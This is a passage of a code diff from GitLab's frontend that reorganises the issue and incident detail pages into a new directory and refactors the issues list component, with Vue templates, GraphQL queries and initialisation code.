+ v-if="canReportSpam"
+ :href="submitAsSpamPath"
+ data-method="post"
+ rel="nofollow"
+ >
+ {{ __('Submit as spam') }}
+ </gl-dropdown-item>
+ <template v-if="canDestroyIssue">
+ <gl-dropdown-divider />
+ <gl-dropdown-item
+ v-gl-modal="$options.deleteModalId"
+ variant="danger"
+ @click="track('click_dropdown')"
+ >
+ {{ deleteButtonText }}
+ </gl-dropdown-item>
+ </template>
+ </gl-dropdown>
+
+ <gl-button
+ v-if="showToggleIssueStateButton"
+ class="gl-display-none gl-sm-display-inline-flex!"
+ :data-qa-selector="qaSelector"
+ :loading="isToggleStateButtonLoading"
+ @click="toggleIssueState"
+ >
+ {{ buttonText }}
+ </gl-button>
+
+ <gl-dropdown
+ class="gl-display-none gl-sm-display-inline-flex! gl-ml-3"
+ icon="ellipsis_v"
+ category="tertiary"
+ :text="dropdownText"
+ :text-sr-only="true"
+ no-caret
+ right
+ >
+ <gl-dropdown-item v-if="canCreateIssue" :href="newIssuePath">
+ {{ newIssueTypeText }}
+ </gl-dropdown-item>
+ <gl-dropdown-item
+ v-if="canPromoteToEpic"
+ :disabled="isToggleStateButtonLoading"
+ data-testid="promote-button"
+ @click="promoteToEpic"
+ >
+ {{ __('Promote to epic') }}
+ </gl-dropdown-item>
+ <gl-dropdown-item v-if="!isIssueAuthor" :href="reportAbusePath">
+ {{ __('Report abuse') }}
+ </gl-dropdown-item>
+ <gl-dropdown-item
+ v-if="canReportSpam"
+ :href="submitAsSpamPath"
+ data-method="post"
+ rel="nofollow"
+ >
+ {{ __('Submit as spam') }}
+ </gl-dropdown-item>
+ <template v-if="canDestroyIssue">
+ <gl-dropdown-divider />
+ <gl-dropdown-item
+ v-gl-modal="$options.deleteModalId"
+ variant="danger"
+ @click="track('click_dropdown')"
+ >
+ {{ deleteButtonText }}
+ </gl-dropdown-item>
+ </template>
+ </gl-dropdown>
+
+ <gl-modal
+ ref="blockedByIssuesModal"
+ modal-id="blocked-by-issues-modal"
+ :action-cancel="$options.actionCancel"
+ :action-primary="$options.actionPrimary"
+ :title="__('Are you sure you want to close this blocked issue?')"
+ @primary="invokeUpdateIssueMutation"
+ >
+ <p>{{ __('This issue is currently blocked by the following issues:') }}</p>
+ <ul>
+ <li v-for="issue in getBlockedByIssues" :key="issue.iid">
+ <gl-link :href="issue.web_url">#{{ issue.iid }}</gl-link>
+ </li>
+ </ul>
+ </gl-modal>
+
+ <delete-issue-modal
+ :issue-path="issuePath"
+ :issue-type="issueType"
+ :modal-id="$options.deleteModalId"
+ :title="deleteButtonText"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/issues/show/components/incidents/graphql/queries/get_alert.graphql b/app/assets/javascripts/issues/show/components/incidents/graphql/queries/get_alert.graphql
new file mode 100644
index 00000000000..d88633f2ae9
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/incidents/graphql/queries/get_alert.graphql
@@ -0,0 +1,23 @@
+query getAlert($iid: String!, $fullPath: ID!) {
+ project(fullPath: $fullPath) {
+ id
+ issue(iid: $iid) {
+ id
+ alertManagementAlert {
+ iid
+ title
+ detailsUrl
+ severity
+ status
+ startedAt
+ eventCount
+ monitoringTool
+ service
+ description
+ endedAt
+ hosts
+ details
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/issues/show/components/incidents/highlight_bar.vue b/app/assets/javascripts/issues/show/components/incidents/highlight_bar.vue
new file mode 100644
index 00000000000..d509f0dbc09
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/incidents/highlight_bar.vue
@@ -0,0 +1,63 @@
+<script>
+import { GlLink, GlTooltipDirective } from '@gitlab/ui';
+import { formatDate } from '~/lib/utils/datetime_utility';
+
+export default {
+ components: {
+ GlLink,
+ IncidentSla: () => import('ee_component/issues/show/components/incidents/incident_sla.vue'),
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ alert: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ },
+ data() {
+ return { childHasData: false };
+ },
+ computed: {
+ startTime() {
+ return formatDate(this.alert.startedAt, 'yyyy-mm-dd Z');
+ },
+ showHighlightBar() {
+ return this.alert || this.childHasData;
+ },
+ },
+ methods: {
+ update(hasData) {
+ this.childHasData = hasData;
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ v-show="showHighlightBar"
+ class="gl-border-solid gl-border-1 gl-border-gray-100 gl-p-5 gl-mb-3 gl-rounded-base gl-display-flex gl-justify-content-space-between gl-xs-flex-direction-column"
+ >
+ <div v-if="alert" class="gl-mr-3">
+ <span class="gl-font-weight-bold">{{ s__('HighlightBar|Original alert:') }}</span>
+ <gl-link v-gl-tooltip :title="alert.title" :href="alert.detailsUrl">
+ #{{ alert.iid }}
+ </gl-link>
+ </div>
+
+ <div v-if="alert" class="gl-mr-3">
+ <span class="gl-font-weight-bold">{{ s__('HighlightBar|Alert start time:') }}</span>
+ {{ startTime }}
+ </div>
+
+ <div v-if="alert" class="gl-mr-3">
+ <span class="gl-font-weight-bold">{{ s__('HighlightBar|Alert events:') }}</span>
+ <span>{{ alert.eventCount }}</span>
+ </div>
+
+ <incident-sla @update="update" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/issues/show/components/incidents/incident_tabs.vue b/app/assets/javascripts/issues/show/components/incidents/incident_tabs.vue
new file mode 100644
index 00000000000..4790062ab7d
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/incidents/incident_tabs.vue
@@ -0,0 +1,81 @@
+<script>
+import { GlTab, GlTabs } from '@gitlab/ui';
+import createFlash from '~/flash';
+import { trackIncidentDetailsViewsOptions } from '~/incidents/constants';
+import { s__ } from '~/locale';
+import Tracking from '~/tracking';
+import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
+import DescriptionComponent from '../description.vue';
+import getAlert from './graphql/queries/get_alert.graphql';
+import HighlightBar from './highlight_bar.vue';
+
+export default {
+ components: {
+ AlertDetailsTable,
+ DescriptionComponent,
+ GlTab,
+ GlTabs,
+ HighlightBar,
+ MetricsTab: () => import('ee_component/issues/show/components/incidents/metrics_tab.vue'),
+ },
+ inject: ['fullPath', 'iid', 'uploadMetricsFeatureAvailable'],
+ apollo: {
+ alert: {
+ query: getAlert,
+ variables() {
+ return {
+ fullPath: this.fullPath,
+ iid: this.iid,
+ };
+ },
+ update(data) {
+ return data?.project?.issue?.alertManagementAlert;
+ },
+ error() {
+ createFlash({
+ message: s__('Incident|There was an issue loading alert data. Please try again.'),
+ });
+ },
+ },
+ },
+ data() {
+ return {
+ alert: null,
+ };
+ },
+ computed: {
+ loading() {
+ return this.$apollo.queries.alert.loading;
+ },
+ },
+ mounted() {
+ this.trackPageViews();
+ },
+ methods: {
+ trackPageViews() {
+ const { category, action } = trackIncidentDetailsViewsOptions;
+ Tracking.event(category, action);
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-tabs content-class="gl-reset-line-height" class="gl-mt-n3" data-testid="incident-tabs">
+ <gl-tab :title="s__('Incident|Summary')">
+ <highlight-bar :alert="alert" />
+ <description-component v-bind="$attrs" />
+ </gl-tab>
+ <metrics-tab v-if="uploadMetricsFeatureAvailable" data-testid="metrics-tab" />
+ <gl-tab
+ v-if="alert"
+ class="alert-management-details"
+ :title="s__('Incident|Alert details')"
+ data-testid="alert-details-tab"
+ >
+ <alert-details-table :alert="alert" :loading="loading" />
+ </gl-tab>
+ </gl-tabs>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issue_show/components/locked_warning.vue b/app/assets/javascripts/issues/show/components/locked_warning.vue
index 4b99888ae73..4b99888ae73 100644
--- a/app/assets/javascripts/issue_show/components/locked_warning.vue
+++ b/app/assets/javascripts/issues/show/components/locked_warning.vue
diff --git a/app/assets/javascripts/issue_show/components/pinned_links.vue b/app/assets/javascripts/issues/show/components/pinned_links.vue
index d38189307bd..d38189307bd 100644
--- a/app/assets/javascripts/issue_show/components/pinned_links.vue
+++ b/app/assets/javascripts/issues/show/components/pinned_links.vue
diff --git a/app/assets/javascripts/issue_show/components/title.vue b/app/assets/javascripts/issues/show/components/title.vue
index 5e92211685a..5e92211685a 100644
--- a/app/assets/javascripts/issue_show/components/title.vue
+++ b/app/assets/javascripts/issues/show/components/title.vue
diff --git a/app/assets/javascripts/issues/show/constants.js b/app/assets/javascripts/issues/show/constants.js
new file mode 100644
index 00000000000..35f3bcdad70
--- /dev/null
+++ b/app/assets/javascripts/issues/show/constants.js
@@ -0,0 +1,22 @@
+import { __ } from '~/locale';
+
+export const IssueStateEvent = {
+ Close: 'CLOSE',
+ Reopen: 'REOPEN',
+};
+
+export const STATUS_PAGE_PUBLISHED = __('Published on status page');
+export const JOIN_ZOOM_MEETING = __('Join Zoom meeting');
+
+export const IssuableTypes = [
+ { value: 'issue', text: __('Issue'), icon: 'issue-type-issue' },
+ { value: 'incident', text: __('Incident'), icon: 'issue-type-incident' },
+];
+
+export const IssueTypePath = 'issues';
+export const IncidentTypePath = 'issues/incident';
+export const IncidentType = 'incident';
+
+export const issueState = { issueType: undefined, isDirty: false };
+
+export const POLLING_DELAY = 2000;
diff --git a/app/assets/javascripts/issuable_show/event_hub.js b/app/assets/javascripts/issues/show/event_hub.js
index e31806ad199..e31806ad199 100644
--- a/app/assets/javascripts/issuable_show/event_hub.js
+++ b/app/assets/javascripts/issues/show/event_hub.js
diff --git a/app/assets/javascripts/issue_show/graphql.js b/app/assets/javascripts/issues/show/graphql.js
index 5b8630f7d63..5b8630f7d63 100644
--- a/app/assets/javascripts/issue_show/graphql.js
+++ b/app/assets/javascripts/issues/show/graphql.js
diff --git a/app/assets/javascripts/issues/show/incident.js b/app/assets/javascripts/issues/show/incident.js
new file mode 100644
index 00000000000..a260c31e1da
--- /dev/null
+++ b/app/assets/javascripts/issues/show/incident.js
@@ -0,0 +1,101 @@
+import Vue from 'vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import issuableApp from './components/app.vue';
+import incidentTabs from './components/incidents/incident_tabs.vue';
+import { issueState, IncidentType } from './constants';
+import apolloProvider from './graphql';
+import getIssueStateQuery from './queries/get_issue_state.query.graphql';
+import HeaderActions from './components/header_actions.vue';
+
+const bootstrapApollo = (state = {}) => {
+ return apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: getIssueStateQuery,
+ data: {
+ issueState: state,
+ },
+ });
+};
+
+export function initIncidentApp(issuableData = {}) {
+ const el = document.getElementById('js-issuable-app');
+
+ if (!el) {
+ return undefined;
+ }
+
+ bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
+
+ const {
+ canCreateIncident,
+ canUpdate,
+ iid,
+ projectNamespace,
+ projectPath,
+ projectId,
+ slaFeatureAvailable,
+ uploadMetricsFeatureAvailable,
+ } = issuableData;
+
+ const fullPath = `${projectNamespace}/${projectPath}`;
+
+ return new Vue({
+ el,
+ apolloProvider,
+ components: {
+ issuableApp,
+ },
+ provide: {
+ issueType: IncidentType,
+ canCreateIncident,
+ canUpdate,
+ fullPath,
+ iid,
+ projectId,
+ slaFeatureAvailable: parseBoolean(slaFeatureAvailable),
+ uploadMetricsFeatureAvailable: parseBoolean(uploadMetricsFeatureAvailable),
+ },
+ render(createElement) {
+ return createElement('issuable-app', {
+ props: {
+ ...issuableData,
+ descriptionComponent: incidentTabs,
+ showTitleBorder: false,
+ },
+ });
+ },
+ });
+}
+
+export function initIncidentHeaderActions(store) {
+ const el = document.querySelector('.js-issue-header-actions');
+
+ if (!el) {
+ return undefined;
+ }
+
+ bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
+
+ return new Vue({
+ el,
+ apolloProvider,
+ store,
+ provide: {
+ canCreateIssue: parseBoolean(el.dataset.canCreateIncident),
+ canDestroyIssue: parseBoolean(el.dataset.canDestroyIssue),
+ canPromoteToEpic: parseBoolean(el.dataset.canPromoteToEpic),
+ canReopenIssue: parseBoolean(el.dataset.canReopenIssue),
+ canReportSpam: parseBoolean(el.dataset.canReportSpam),
+ canUpdateIssue: parseBoolean(el.dataset.canUpdateIssue),
+ iid: el.dataset.iid,
+ isIssueAuthor: parseBoolean(el.dataset.isIssueAuthor),
+ issuePath: el.dataset.issuePath,
+ issueType: el.dataset.issueType,
+ newIssuePath: el.dataset.newIssuePath,
+ projectPath: el.dataset.projectPath,
+ projectId: el.dataset.projectId,
+ reportAbusePath: el.dataset.reportAbusePath,
+ submitAsSpamPath: el.dataset.submitAsSpamPath,
+ },
+ render: (createElement) => createElement(HeaderActions),
+ });
+}
diff --git a/app/assets/javascripts/issues/show/issue.js b/app/assets/javascripts/issues/show/issue.js
new file mode 100644
index 00000000000..60e90934af8
--- /dev/null
+++ b/app/assets/javascripts/issues/show/issue.js
@@ -0,0 +1,86 @@
+import Vue from 'vue';
+import { mapGetters } from 'vuex';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import IssuableApp from './components/app.vue';
+import HeaderActions from './components/header_actions.vue';
+import { issueState } from './constants';
+import apolloProvider from './graphql';
+import getIssueStateQuery from './queries/get_issue_state.query.graphql';
+
+const bootstrapApollo = (state = {}) => {
+ return apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: getIssueStateQuery,
+ data: {
+ issueState: state,
+ },
+ });
+};
+
+export function initIssuableApp(issuableData, store) {
+ const el = document.getElementById('js-issuable-app');
+
+ if (!el) {
+ return undefined;
+ }
+
+ bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
+
+ const { canCreateIncident, ...issuableProps } = issuableData;
+
+ return new Vue({
+ el,
+ apolloProvider,
+ store,
+ provide: {
+ canCreateIncident,
+ },
+ computed: {
+ ...mapGetters(['getNoteableData']),
+ },
+ render(createElement) {
+ return createElement(IssuableApp, {
+ props: {
+ ...issuableProps,
+ isConfidential: this.getNoteableData?.confidential,
+ isLocked: this.getNoteableData?.discussion_locked,
+ issuableStatus: this.getNoteableData?.state,
+ id: this.getNoteableData?.id,
+ },
+ });
+ },
+ });
+}
+
+export function initIssueHeaderActions(store) {
+ const el = document.querySelector('.js-issue-header-actions');
+
+ if (!el) {
+ return undefined;
+ }
+
+ bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
+
+ return new Vue({
+ el,
+ apolloProvider,
+ store,
+ provide: {
+ canCreateIssue: parseBoolean(el.dataset.canCreateIssue),
+ canDestroyIssue: parseBoolean(el.dataset.canDestroyIssue),
+ canPromoteToEpic: parseBoolean(el.dataset.canPromoteToEpic),
+ canReopenIssue: parseBoolean(el.dataset.canReopenIssue),
+ canReportSpam: parseBoolean(el.dataset.canReportSpam),
+ canUpdateIssue: parseBoolean(el.dataset.canUpdateIssue),
+ iid: el.dataset.iid,
+ isIssueAuthor: parseBoolean(el.dataset.isIssueAuthor),
+ issuePath: el.dataset.issuePath,
+ issueType: el.dataset.issueType,
+ newIssuePath: el.dataset.newIssuePath,
+ projectPath: el.dataset.projectPath,
+ projectId: el.dataset.projectId,
+ reportAbusePath: el.dataset.reportAbusePath,
+ submitAsSpamPath: el.dataset.submitAsSpamPath,
+ },
+ render: (createElement) => createElement(HeaderActions),
+ });
+}
diff --git a/app/assets/javascripts/issue_show/mixins/animate.js b/app/assets/javascripts/issues/show/mixins/animate.js
index 4816393da1f..4816393da1f 100644
--- a/app/assets/javascripts/issue_show/mixins/animate.js
+++ b/app/assets/javascripts/issues/show/mixins/animate.js
diff --git a/app/assets/javascripts/issue_show/mixins/update.js b/app/assets/javascripts/issues/show/mixins/update.js
index 72be65b426f..72be65b426f 100644
--- a/app/assets/javascripts/issue_show/mixins/update.js
+++ b/app/assets/javascripts/issues/show/mixins/update.js
diff --git a/app/assets/javascripts/issue_show/queries/get_issue_state.query.graphql b/app/assets/javascripts/issues/show/queries/get_issue_state.query.graphql
index 33b737d2315..33b737d2315 100644
--- a/app/assets/javascripts/issue_show/queries/get_issue_state.query.graphql
+++ b/app/assets/javascripts/issues/show/queries/get_issue_state.query.graphql
diff --git a/app/assets/javascripts/issues/show/queries/promote_to_epic.mutation.graphql b/app/assets/javascripts/issues/show/queries/promote_to_epic.mutation.graphql
new file mode 100644
index 00000000000..e3e3a2bc667
--- /dev/null
+++ b/app/assets/javascripts/issues/show/queries/promote_to_epic.mutation.graphql
@@ -0,0 +1,9 @@
+mutation promoteToEpic($input: PromoteToEpicInput!) {
+ promoteToEpic(input: $input) {
+ epic {
+ id
+ webPath
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/issue_show/queries/update_issue.mutation.graphql b/app/assets/javascripts/issues/show/queries/update_issue.mutation.graphql
index ec8d8f32d8b..ec8d8f32d8b 100644
--- a/app/assets/javascripts/issue_show/queries/update_issue.mutation.graphql
+++ b/app/assets/javascripts/issues/show/queries/update_issue.mutation.graphql
diff --git a/app/assets/javascripts/issue_show/queries/update_issue_state.mutation.graphql b/app/assets/javascripts/issues/show/queries/update_issue_state.mutation.graphql
index d91ca746066..d91ca746066 100644
--- a/app/assets/javascripts/issue_show/queries/update_issue_state.mutation.graphql
+++ b/app/assets/javascripts/issues/show/queries/update_issue_state.mutation.graphql
diff --git a/app/assets/javascripts/issues/show/services/index.js b/app/assets/javascripts/issues/show/services/index.js
new file mode 100644
index 00000000000..dba07f623f9
--- /dev/null
+++ b/app/assets/javascripts/issues/show/services/index.js
@@ -0,0 +1,29 @@
+import axios from '~/lib/utils/axios_utils';
+
+export default class Service {
+ constructor(endpoint) {
+ this.endpoint = `${endpoint}.json`;
+ this.realtimeEndpoint = `${endpoint}/realtime_changes`;
+ }
+
+ getData() {
+ return axios.get(this.realtimeEndpoint);
+ }
+
+ deleteIssuable(payload) {
+ return axios.delete(this.endpoint, { params: payload });
+ }
+
+ updateIssuable(data) {
+ return axios.put(this.endpoint, data);
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ loadTemplates(templateNamesEndpoint) {
+ if (!templateNamesEndpoint) {
+ return Promise.resolve([]);
+ }
+
+ return axios.get(templateNamesEndpoint);
+ }
+}
diff --git a/app/assets/javascripts/issue_show/stores/index.js b/app/assets/javascripts/issues/show/stores/index.js
index a50913d3455..a50913d3455 100644
--- a/app/assets/javascripts/issue_show/stores/index.js
+++ b/app/assets/javascripts/issues/show/stores/index.js
diff --git a/app/assets/javascripts/issue_show/utils/parse_data.js b/app/assets/javascripts/issues/show/utils/parse_data.js
index f1e6bd2419a..f1e6bd2419a 100644
--- a/app/assets/javascripts/issue_show/utils/parse_data.js
+++ b/app/assets/javascripts/issues/show/utils/parse_data.js
diff --git a/app/assets/javascripts/issue_show/utils/update_description.js b/app/assets/javascripts/issues/show/utils/update_description.js
index c5811290e61..c5811290e61 100644
--- a/app/assets/javascripts/issue_show/utils/update_description.js
+++ b/app/assets/javascripts/issues/show/utils/update_description.js
diff --git a/app/assets/javascripts/issues_list/components/issuable.vue b/app/assets/javascripts/issues_list/components/issuable.vue
index 6dc7460b037..6476d5be38c 100644
--- a/app/assets/javascripts/issues_list/components/issuable.vue
+++ b/app/assets/javascripts/issues_list/components/issuable.vue
@@ -28,7 +28,7 @@ import { convertToCamelCase } from '~/lib/utils/text_utility';
import { mergeUrlParams, setUrlFragment, isExternal } from '~/lib/utils/url_utility';
import { sprintf, __ } from '~/locale';
import initUserPopovers from '~/user_popovers';
-import IssueAssignees from '~/vue_shared/components/issue/issue_assignees.vue';
+import IssueAssignees from '~/issuable/components/issue_assignees.vue';
export default {
i18n: {
diff --git a/app/assets/javascripts/issues_list/components/issuables_list_app.vue b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
index 62b52afdaca..71136bf0159 100644
--- a/app/assets/javascripts/issues_list/components/issuables_list_app.vue
+++ b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
@@ -11,7 +11,7 @@ import axios from '~/lib/utils/axios_utils';
import { scrollToElement, historyPushState } from '~/lib/utils/common_utils';
import { setUrlParams, queryToObject, getParameterByName } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
-import initManualOrdering from '~/manual_ordering';
+import initManualOrdering from '~/issues/manual_ordering';
import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
import {
sortOrderMap,
@@ -21,12 +21,12 @@ import {
PAGE_SIZE_MANUAL,
LOADING_LIST_ITEMS_LENGTH,
} from '../constants';
-import issueableEventHub from '../eventhub';
+import issuableEventHub from '../eventhub';
import { emptyStateHelper } from '../service_desk_helper';
import Issuable from './issuable.vue';
/**
- * @deprecated Use app/assets/javascripts/issuable_list/components/issuable_list_root.vue instead
+ * @deprecated Use app/assets/javascripts/vue_shared/issuable/list/components/issuable_list_root.vue instead
*/
export default {
LOADING_LIST_ITEMS_LENGTH,
@@ -192,7 +192,7 @@ export default {
// We need to call nextTick here to wait for all of the boxes to be checked and rendered
// before we query the dom in issuable_bulk_update_actions.js.
this.$nextTick(() => {
- issueableEventHub.$emit('issuables:updateBulkEdit');
+ issuableEventHub.$emit('issuables:updateBulkEdit');
});
},
issuables() {
@@ -203,7 +203,7 @@ export default {
},
mounted() {
if (this.canBulkEdit) {
- this.unsubscribeToggleBulkEdit = issueableEventHub.$on('issuables:toggleBulkEdit', (val) => {
+ this.unsubscribeToggleBulkEdit = issuableEventHub.$on('issuables:toggleBulkEdit', (val) => {
this.isBulkEditing = val;
});
}
@@ -211,7 +211,7 @@ export default {
},
beforeDestroy() {
// eslint-disable-next-line @gitlab/no-global-event-off
- issueableEventHub.$off('issuables:toggleBulkEdit');
+ issuableEventHub.$off('issuables:toggleBulkEdit');
},
methods: {
isSelected(issuableId) {
diff --git a/app/assets/javascripts/issues_list/components/issue_card_time_info.vue b/app/assets/javascripts/issues_list/components/issue_card_time_info.vue
index 4a2f7861492..aece7372182 100644
--- a/app/assets/javascripts/issues_list/components/issue_card_time_info.vue
+++ b/app/assets/javascripts/issues_list/components/issue_card_time_info.vue
@@ -7,25 +7,16 @@ import {
isInPast,
isToday,
} from '~/lib/utils/datetime_utility';
-import { convertToCamelCase } from '~/lib/utils/text_utility';
import { __ } from '~/locale';
export default {
components: {
GlLink,
GlIcon,
- IssueHealthStatus: () =>
- import('ee_component/related_items_tree/components/issue_health_status.vue'),
- WeightCount: () => import('ee_component/issues/components/weight_count.vue'),
},
directives: {
GlTooltip: GlTooltipDirective,
},
- inject: {
- hasIssuableHealthStatusFeature: {
- default: false,
- },
- },
props: {
issue: {
type: Object,
@@ -54,12 +45,6 @@ export default {
timeEstimate() {
return this.issue.humanTimeEstimate || this.issue.timeStats?.humanTimeEstimate;
},
- showHealthStatus() {
- return this.hasIssuableHealthStatusFeature && this.issue.healthStatus;
- },
- healthStatus() {
- return convertToCamelCase(this.issue.healthStatus);
- },
},
methods: {
milestoneRemainingTime(dueDate, startDate) {
@@ -114,7 +99,6 @@ export default {
<gl-icon name="timer" />
{{ timeEstimate }}
</span>
- <weight-count class="issuable-weight gl-mr-3" :weight="issue.weight" />
- <issue-health-status v-if="showHealthStatus" :health-status="healthStatus" />
+ <slot></slot>
</span>
</template>
diff --git a/app/assets/javascripts/issues_list/components/issues_list_app.vue b/app/assets/javascripts/issues_list/components/issues_list_app.vue
index 7f2082e5b90..6ced1080b71 100644
--- a/app/assets/javascripts/issues_list/components/issues_list_app.vue
+++ b/app/assets/javascripts/issues_list/components/issues_list_app.vue
@@ -8,17 +8,20 @@ import {
GlSprintf,
GlTooltipDirective,
} from '@gitlab/ui';
+import * as Sentry from '@sentry/browser';
import fuzzaldrinPlus from 'fuzzaldrin-plus';
+import { orderBy } from 'lodash';
import getIssuesQuery from 'ee_else_ce/issues_list/queries/get_issues.query.graphql';
import getIssuesCountsQuery from 'ee_else_ce/issues_list/queries/get_issues_counts.query.graphql';
-import createFlash from '~/flash';
+import IssueCardTimeInfo from 'ee_else_ce/issues_list/components/issue_card_time_info.vue';
+import createFlash, { FLASH_TYPES } from '~/flash';
import { TYPE_USER } from '~/graphql_shared/constants';
import { convertToGraphQLId, getIdFromGraphQLId } from '~/graphql_shared/utils';
import { ITEM_TYPE } from '~/groups/constants';
import CsvImportExportButtons from '~/issuable/components/csv_import_export_buttons.vue';
import IssuableByEmail from '~/issuable/components/issuable_by_email.vue';
-import IssuableList from '~/issuable_list/components/issuable_list_root.vue';
-import { IssuableListTabs, IssuableStates } from '~/issuable_list/constants';
+import IssuableList from '~/vue_shared/issuable/list/components/issuable_list_root.vue';
+import { IssuableListTabs, IssuableStates } from '~/vue_shared/issuable/list/constants';
import {
CREATED_DESC,
i18n,
@@ -31,14 +34,11 @@ import {
TOKEN_TYPE_ASSIGNEE,
TOKEN_TYPE_AUTHOR,
TOKEN_TYPE_CONFIDENTIAL,
- TOKEN_TYPE_EPIC,
- TOKEN_TYPE_ITERATION,
TOKEN_TYPE_LABEL,
TOKEN_TYPE_MILESTONE,
TOKEN_TYPE_MY_REACTION,
TOKEN_TYPE_RELEASE,
TOKEN_TYPE_TYPE,
- TOKEN_TYPE_WEIGHT,
UPDATED_DESC,
urlSortParams,
} from '~/issues_list/constants';
@@ -61,39 +61,29 @@ import {
TOKEN_TITLE_ASSIGNEE,
TOKEN_TITLE_AUTHOR,
TOKEN_TITLE_CONFIDENTIAL,
- TOKEN_TITLE_EPIC,
- TOKEN_TITLE_ITERATION,
TOKEN_TITLE_LABEL,
TOKEN_TITLE_MILESTONE,
TOKEN_TITLE_MY_REACTION,
TOKEN_TITLE_RELEASE,
TOKEN_TITLE_TYPE,
- TOKEN_TITLE_WEIGHT,
} from '~/vue_shared/components/filtered_search_bar/constants';
import eventHub from '../eventhub';
import reorderIssuesMutation from '../queries/reorder_issues.mutation.graphql';
-import searchIterationsQuery from '../queries/search_iterations.query.graphql';
import searchLabelsQuery from '../queries/search_labels.query.graphql';
import searchMilestonesQuery from '../queries/search_milestones.query.graphql';
import searchUsersQuery from '../queries/search_users.query.graphql';
-import IssueCardTimeInfo from './issue_card_time_info.vue';
import NewIssueDropdown from './new_issue_dropdown.vue';
const AuthorToken = () =>
import('~/vue_shared/components/filtered_search_bar/tokens/author_token.vue');
const EmojiToken = () =>
import('~/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue');
-const EpicToken = () => import('~/vue_shared/components/filtered_search_bar/tokens/epic_token.vue');
-const IterationToken = () =>
- import('~/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue');
const LabelToken = () =>
import('~/vue_shared/components/filtered_search_bar/tokens/label_token.vue');
const MilestoneToken = () =>
import('~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue');
const ReleaseToken = () =>
import('~/vue_shared/components/filtered_search_bar/tokens/release_token.vue');
-const WeightToken = () =>
- import('~/vue_shared/components/filtered_search_bar/tokens/weight_token.vue');
export default {
i18n,
@@ -109,7 +99,6 @@ export default {
IssuableList,
IssueCardTimeInfo,
NewIssueDropdown,
- BlockingIssuesCount: () => import('ee_component/issues/components/blocking_issues_count.vue'),
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -133,9 +122,6 @@ export default {
fullPath: {
default: '',
},
- groupPath: {
- default: '',
- },
hasAnyIssues: {
default: false,
},
@@ -148,15 +134,18 @@ export default {
hasIssueWeightsFeature: {
default: false,
},
- hasIterationsFeature: {
- default: false,
- },
hasMultipleIssueAssigneesFeature: {
default: false,
},
initialEmail: {
default: '',
},
+ isAnonymousSearchDisabled: {
+ default: false,
+ },
+ isIssueRepositioningDisabled: {
+ default: false,
+ },
isProject: {
default: false,
},
@@ -182,21 +171,43 @@ export default {
default: '',
},
},
+ props: {
+ eeSearchTokens: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ },
data() {
const state = getParameterByName(PARAM_STATE);
- const sortKey = getSortKey(getParameterByName(PARAM_SORT));
const defaultSortKey = state === IssuableStates.Closed ? UPDATED_DESC : CREATED_DESC;
+ let sortKey = getSortKey(getParameterByName(PARAM_SORT)) || defaultSortKey;
+
+ if (this.isIssueRepositioningDisabled && sortKey === RELATIVE_POSITION_ASC) {
+ this.showIssueRepositioningMessage();
+ sortKey = defaultSortKey;
+ }
+
+ const isSearchDisabled =
+ this.isAnonymousSearchDisabled &&
+ !this.isSignedIn &&
+ window.location.search.includes('search=');
+
+ if (isSearchDisabled) {
+ this.showAnonymousSearchingMessage();
+ }
return {
dueDateFilter: getDueDateValue(getParameterByName(PARAM_DUE_DATE)),
exportCsvPathWithQuery: this.getExportCsvPathWithQuery(),
- filterTokens: getFilterTokens(window.location.search),
+ filterTokens: isSearchDisabled ? [] : getFilterTokens(window.location.search),
issues: [],
issuesCounts: {},
+ issuesError: null,
pageInfo: {},
pageParams: getInitialPageParams(sortKey),
showBulkEditSidebar: false,
- sortKey: sortKey || defaultSortKey,
+ sortKey,
state: state || IssuableStates.Opened,
};
},
@@ -214,7 +225,8 @@ export default {
this.exportCsvPathWithQuery = this.getExportCsvPathWithQuery();
},
error(error) {
- createFlash({ message: this.$options.i18n.errorFetchingIssues, captureError: true, error });
+ this.issuesError = this.$options.i18n.errorFetchingIssues;
+ Sentry.captureException(error);
},
skip() {
return !this.hasAnyIssues;
@@ -230,7 +242,8 @@ export default {
return data[this.namespace] ?? {};
},
error(error) {
- createFlash({ message: this.$options.i18n.errorFetchingCounts, captureError: true, error });
+ this.issuesError = this.$options.i18n.errorFetchingCounts;
+ Sentry.captureException(error);
},
skip() {
return !this.hasAnyIssues;
@@ -306,6 +319,7 @@ export default {
unique: true,
defaultAuthors: [],
fetchAuthors: this.fetchUsers,
+ recentSuggestionsStorageKey: `${this.fullPath}-issues-recent-tokens-author`,
preloadedAuthors,
},
{
@@ -317,6 +331,7 @@ export default {
unique: !this.hasMultipleIssueAssigneesFeature,
defaultAuthors: DEFAULT_NONE_ANY,
fetchAuthors: this.fetchUsers,
+ recentSuggestionsStorageKey: `${this.fullPath}-issues-recent-tokens-assignee`,
preloadedAuthors,
},
{
@@ -325,6 +340,7 @@ export default {
icon: 'clock',
